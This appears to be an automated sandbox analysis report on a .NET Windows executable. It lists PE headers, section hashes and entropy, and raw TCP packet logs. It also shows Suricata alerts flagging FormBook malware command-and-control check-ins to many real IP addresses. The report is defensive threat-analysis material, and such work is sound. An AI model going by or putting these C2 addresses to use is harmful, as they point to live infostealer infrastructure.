DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x674E950D [Tue Dec 3 05:20:13 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb7a08	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xb8000	0x4ca8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xbe000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xb5a60	0xb5c00	b4d6a9528d41deef0775470d8ec29227	False	0.9391549174690509	data	7.815154891038661	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xb8000	0x4ca8	0x5000	027a0c305e4aa7294aec5d4c02bb0c79	False	0.91767578125	data	7.6671485249994555	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xbe000	0xc	0x400	815d6534af5a99a588549af407f7c516	False	0.025390625	data	0.05585530805374581	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xb8100	0x46f9	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9932852661126094
RT_GROUP_ICON	0xbc80c	0x14	data	1.05
RT_VERSION	0xbc830	0x278	data	0.4699367088607595
RT_MANIFEST	0xbcab8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49821	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49766	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49772	208.91.197.27	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49764	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49765	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49802	13.248.169.48	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49822	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49773	208.91.197.27	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49774	208.91.197.27	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49823	84.32.84.32	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49830	208.91.197.27	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49829	208.91.197.27	80	TCP
2024-12-03T14:50:18.814157+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49831	208.91.197.27	80	TCP
2024-12-03T14:51:29.602451+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49759	172.96.191.39	80	TCP
2024-12-03T14:51:45.239026+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49760	217.160.0.183	80	TCP
2024-12-03T14:51:47.974097+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49761	217.160.0.183	80	TCP
2024-12-03T14:51:50.669133+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49762	217.160.0.183	80	TCP
2024-12-03T14:51:53.377169+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49763	217.160.0.183	80	TCP
2024-12-03T14:52:07.151640+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49767	84.32.84.32	80	TCP
2024-12-03T14:52:12.632134+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49768	209.74.79.42	80	TCP
2024-12-03T14:52:15.316664+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49769	209.74.79.42	80	TCP
2024-12-03T14:52:18.035833+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49770	209.74.79.42	80	TCP
2024-12-03T14:52:20.725213+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49771	209.74.79.42	80	TCP
2024-12-03T14:52:34.872802+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49775	208.91.197.27	80	TCP
2024-12-03T14:52:40.954663+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49776	89.31.143.90	80	TCP
2024-12-03T14:52:43.683508+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49777	89.31.143.90	80	TCP
2024-12-03T14:52:46.402837+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49778	89.31.143.90	80	TCP
2024-12-03T14:52:49.119291+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49779	89.31.143.90	80	TCP
2024-12-03T14:52:56.160542+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49780	8.136.96.106	80	TCP
2024-12-03T14:52:59.006807+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49781	8.136.96.106	80	TCP
2024-12-03T14:53:01.899070+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49782	8.136.96.106	80	TCP
2024-12-03T14:53:04.845268+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49783	8.136.96.106	80	TCP
2024-12-03T14:53:10.612514+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49784	38.47.233.4	80	TCP
2024-12-03T14:53:13.462096+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49785	38.47.233.4	80	TCP
2024-12-03T14:53:16.305207+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49786	38.47.233.4	80	TCP
2024-12-03T14:53:19.147305+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49787	38.47.233.4	80	TCP
2024-12-03T14:53:24.700544+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49788	103.224.182.242	80	TCP
2024-12-03T14:53:27.401782+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49789	103.224.182.242	80	TCP
2024-12-03T14:53:30.117901+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49790	103.224.182.242	80	TCP
2024-12-03T14:53:32.806121+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49791	103.224.182.242	80	TCP
2024-12-03T14:53:46.363729+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49792	172.67.201.49	80	TCP
2024-12-03T14:53:48.988647+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49793	172.67.201.49	80	TCP
2024-12-03T14:53:51.624752+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49794	172.67.201.49	80	TCP
2024-12-03T14:53:54.362645+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49795	172.67.201.49	80	TCP
2024-12-03T14:53:59.878230+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49796	173.0.157.187	80	TCP
2024-12-03T14:54:02.514484+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49797	173.0.157.187	80	TCP
2024-12-03T14:54:05.199744+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49798	173.0.157.187	80	TCP
2024-12-03T14:54:07.869169+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49799	173.0.157.187	80	TCP
2024-12-03T14:54:13.225774+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49800	13.248.169.48	80	TCP
2024-12-03T14:54:15.860993+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49801	13.248.169.48	80	TCP
2024-12-03T14:54:21.142002+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49803	13.248.169.48	80	TCP
2024-12-03T14:54:26.872473+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49804	192.185.147.100	80	TCP
2024-12-03T14:54:29.582363+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49805	192.185.147.100	80	TCP
2024-12-03T14:54:32.164731+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49806	192.185.147.100	80	TCP
2024-12-03T14:54:34.635788+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49807	192.185.147.100	80	TCP
2024-12-03T14:54:40.809851+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49808	176.31.209.107	80	TCP
2024-12-03T14:54:43.031819+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49809	176.31.209.107	80	TCP
2024-12-03T14:54:45.758627+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49810	176.31.209.107	80	TCP
2024-12-03T14:54:48.464695+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49811	176.31.209.107	80	TCP
2024-12-03T14:54:54.702361+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49812	45.197.47.177	80	TCP
2024-12-03T14:54:57.557088+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49813	45.197.47.177	80	TCP
2024-12-03T14:55:00.395570+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49814	45.197.47.177	80	TCP
2024-12-03T14:55:03.241493+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49815	45.197.47.177	80	TCP
2024-12-03T14:55:12.635345+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49816	172.96.191.39	80	TCP
2024-12-03T14:55:18.049773+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49817	217.160.0.183	80	TCP
2024-12-03T14:55:20.759489+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49818	217.160.0.183	80	TCP
2024-12-03T14:55:23.500208+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49819	217.160.0.183	80	TCP
2024-12-03T14:55:26.191249+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49820	217.160.0.183	80	TCP
2024-12-03T14:55:39.823002+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49824	84.32.84.32	80	TCP
2024-12-03T14:55:45.177141+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49825	209.74.79.42	80	TCP
2024-12-03T14:55:47.878778+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49826	209.74.79.42	80	TCP
2024-12-03T14:55:50.586735+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49827	209.74.79.42	80	TCP
2024-12-03T14:55:53.283542+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49828	209.74.79.42	80	TCP
2024-12-03T14:56:07.112706+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49832	208.91.197.27	80	TCP
2024-12-03T14:56:12.795428+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49833	89.31.143.90	80	TCP
2024-12-03T14:56:15.527591+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49834	89.31.143.90	80	TCP
2024-12-03T14:56:18.262666+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49835	89.31.143.90	80	TCP
2024-12-03T14:56:20.978871+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49836	89.31.143.90	80	TCP
2024-12-03T14:56:26.752606+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49837	8.136.96.106	80	TCP
2024-12-03T14:56:30.246380+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49838	8.136.96.106	80	TCP
2024-12-03T14:56:32.490783+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49839	8.136.96.106	80	TCP
2024-12-03T14:56:35.326608+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49840	8.136.96.106	80	TCP
2024-12-03T14:56:40.981355+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49841	38.47.233.4	80	TCP
2024-12-03T14:56:43.821642+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49842	38.47.233.4	80	TCP
2024-12-03T14:56:46.666769+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49843	38.47.233.4	80	TCP
2024-12-03T14:56:49.508113+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49844	38.47.233.4	80	TCP
2024-12-03T14:56:54.891535+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49845	103.224.182.242	80	TCP
2024-12-03T14:56:57.592625+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49846	103.224.182.242	80	TCP
2024-12-03T14:57:00.284482+0100	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49847	103.224.182.242	80	TCP
2024-12-03T14:57:02.993916+0100	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49848	103.224.182.242	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 14:51:28.928473949 CET	49759	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:51:29.263997078 CET	80	49759	172.96.191.39	192.168.11.20
Dec 3, 2024 14:51:29.264179945 CET	49759	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:51:29.266508102 CET	49759	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:51:29.602140903 CET	80	49759	172.96.191.39	192.168.11.20
Dec 3, 2024 14:51:29.602164030 CET	80	49759	172.96.191.39	192.168.11.20
Dec 3, 2024 14:51:29.602286100 CET	80	49759	172.96.191.39	192.168.11.20
Dec 3, 2024 14:51:29.602451086 CET	49759	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:51:29.603205919 CET	49759	80	192.168.11.20	172.96.191.39
Dec 3, 2024 14:51:29.938766956 CET	80	49759	172.96.191.39	192.168.11.20
Dec 3, 2024 14:51:44.843624115 CET	49760	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:45.030520916 CET	80	49760	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:45.030839920 CET	49760	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:45.033953905 CET	49760	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:45.220681906 CET	80	49760	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:45.238734961 CET	80	49760	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:45.238787889 CET	80	49760	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:45.239026070 CET	49760	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:46.541331053 CET	49760	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:47.557262897 CET	49761	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:47.744235992 CET	80	49761	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:47.744559050 CET	49761	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:47.747675896 CET	49761	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:47.934751034 CET	80	49761	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:47.973843098 CET	80	49761	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:47.973896980 CET	80	49761	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:47.974097013 CET	49761	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:49.259407997 CET	49761	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:50.275473118 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:50.461916924 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.462187052 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:50.465363026 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:50.465404987 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:50.651942015 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.651988983 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.652018070 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.652050972 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.652079105 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.652107000 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.652133942 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.668787956 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.668839931 CET	80	49762	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:50.669132948 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:51.978039980 CET	49762	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:52.993577003 CET	49763	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:53.180692911 CET	80	49763	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:53.180924892 CET	49763	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:53.183054924 CET	49763	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:53.369575977 CET	80	49763	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:53.376332045 CET	80	49763	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:53.376877069 CET	80	49763	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:53.377168894 CET	49763	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:53.377680063 CET	49763	80	192.168.11.20	217.160.0.183
Dec 3, 2024 14:51:53.564188957 CET	80	49763	217.160.0.183	192.168.11.20
Dec 3, 2024 14:51:58.522651911 CET	49764	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:51:58.734529972 CET	80	49764	84.32.84.32	192.168.11.20
Dec 3, 2024 14:51:58.734849930 CET	49764	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:51:58.737869024 CET	49764	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:51:58.949829102 CET	80	49764	84.32.84.32	192.168.11.20
Dec 3, 2024 14:51:58.949877977 CET	80	49764	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:01.257364035 CET	49765	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:01.468962908 CET	80	49765	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:01.469284058 CET	49765	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:01.472388983 CET	49765	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:01.684361935 CET	80	49765	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:01.684674025 CET	80	49765	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:03.991090059 CET	49766	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:04.203025103 CET	80	49766	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:04.203346968 CET	49766	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:04.206541061 CET	49766	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:04.206655025 CET	49766	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:04.418586016 CET	80	49766	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:04.418874979 CET	80	49766	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:04.418885946 CET	80	49766	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:06.724855900 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:06.936619043 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:06.936839104 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:06.938968897 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:07.150911093 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.150970936 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151252031 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151307106 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151351929 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151395082 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151437998 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151479959 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151530027 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:07.151639938 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:07.151639938 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:07.151798964 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:07.152437925 CET	49767	80	192.168.11.20	84.32.84.32
Dec 3, 2024 14:52:07.364064932 CET	80	49767	84.32.84.32	192.168.11.20
Dec 3, 2024 14:52:12.280976057 CET	49768	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:12.450253963 CET	80	49768	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:12.450448990 CET	49768	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:12.453989029 CET	49768	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:12.623059988 CET	80	49768	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:12.631900072 CET	80	49768	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:12.631951094 CET	80	49768	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:12.632133961 CET	49768	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:13.957010984 CET	49768	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:14.973061085 CET	49769	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:15.140580893 CET	80	49769	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:15.140841961 CET	49769	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:15.144032955 CET	49769	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:15.311431885 CET	80	49769	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:15.316479921 CET	80	49769	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:15.316529036 CET	80	49769	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:15.316663980 CET	49769	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:16.659626007 CET	49769	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:17.675656080 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:17.843516111 CET	80	49770	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:17.843836069 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:17.846971035 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:17.847080946 CET	49770	80	192.168.11.20	209.74.79.42
Dec 3, 2024 14:52:18.030801058 CET	80	49770	209.74.79.42	192.168.11.20
Dec 3, 2024 14:52:18.030847073 CET	80	49770	209.74.79.42	192.168.11.20
